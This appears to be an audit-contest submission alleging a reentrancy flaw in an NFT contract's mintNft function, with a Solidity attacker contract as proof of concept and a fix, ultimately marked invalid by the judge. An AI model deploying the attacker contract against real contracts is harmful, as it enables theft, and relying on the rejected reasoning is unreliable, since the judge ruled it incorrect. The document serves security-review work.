NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

CEI violation in mintNft

External call executed before state updates in mintNft allows reentrancy, enabling an attacker to mint multiple NFTs and corrupt collateral accounting

Description

  • mintNft() collects USDC collateral from the caller, increments the token counter, records the collateral mapping, and mints the NFT — intended to execute atomically for one NFT per call.

  • The external call to usdc.transferFrom() is made before tokenIdCounter is incremented and before collateralForMinting is written, violating the Checks-Effects-Interactions pattern. A reentrant call during the external transfer finds the contract in its pre-mint state, passing all checks and minting again before any state is committed.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
@> require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
// State is updated AFTER the external call — window for reentrancy is open
@> tokenIdCounter++;
@> collateralForMinting[tokenIdCounter] = lockAmount;
_safeMint(msg.sender, tokenIdCounter);
}

Risk

Likelihood:

  • A whitelisted attacker deploys a contract that implements an ERC777 tokensReceived hook, and the protocol accepts that token as the USDC address — reentrancy executes automatically on every transfer.

  • The _safeMint call also triggers onERC721Received on recipient contracts, giving a second reentrancy entry point even with a standard ERC20, as state updates have already been incorrectly ordered.

Impact:

  • An attacker mints multiple NFTs for the price of one, exceeding intended per-wallet or supply limits.

  • collateralForMinting is written with a stale tokenIdCounter, corrupting the collateral record for every reentrant mint — breaking future refunds, resale collateral checks, and fee withdrawals for affected token IDs.

Proof of Concept

contract Attacker {
NFTDealers public target;
IERC20 public usdc;
uint8 public count;
constructor(address _target, address _usdc) {
target = NFTDealers(_target);
usdc = IERC20(_usdc);
}
// Entry point
function attack() external {
usdc.approve(address(target), type(uint256).max);
target.mintNft();
}
// ERC777 tokensReceived hook — called during usdc.transferFrom
// tokenIdCounter has NOT been incremented yet at this point
function tokensReceived(
address, address, address, uint256, bytes calldata, bytes calldata
) external {
if (count < 3) {
count++;
target.mintNft(); // re-enters before any state update
}
}
}

Recommended Mitigation

Move all state updates above every external call so the contract's state is fully committed before any external code can execute.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
+ // Effects — commit state before any external interaction
+ tokenIdCounter++;
+ uint256 newTokenId = tokenIdCounter;
+ collateralForMinting[newTokenId] = lockAmount;
- require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
-
- tokenIdCounter++;
-
- collateralForMinting[tokenIdCounter] = lockAmount;
- _safeMint(msg.sender, tokenIdCounter);
+ // Interactions — external calls last
+ require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
+ _safeMint(msg.sender, newTokenId);
}

Consider also adding OpenZeppelin's ReentrancyGuard as a defense-in-depth measure, since _safeMint independently triggers onERC721Received on recipient contracts.

Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

Invalid

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!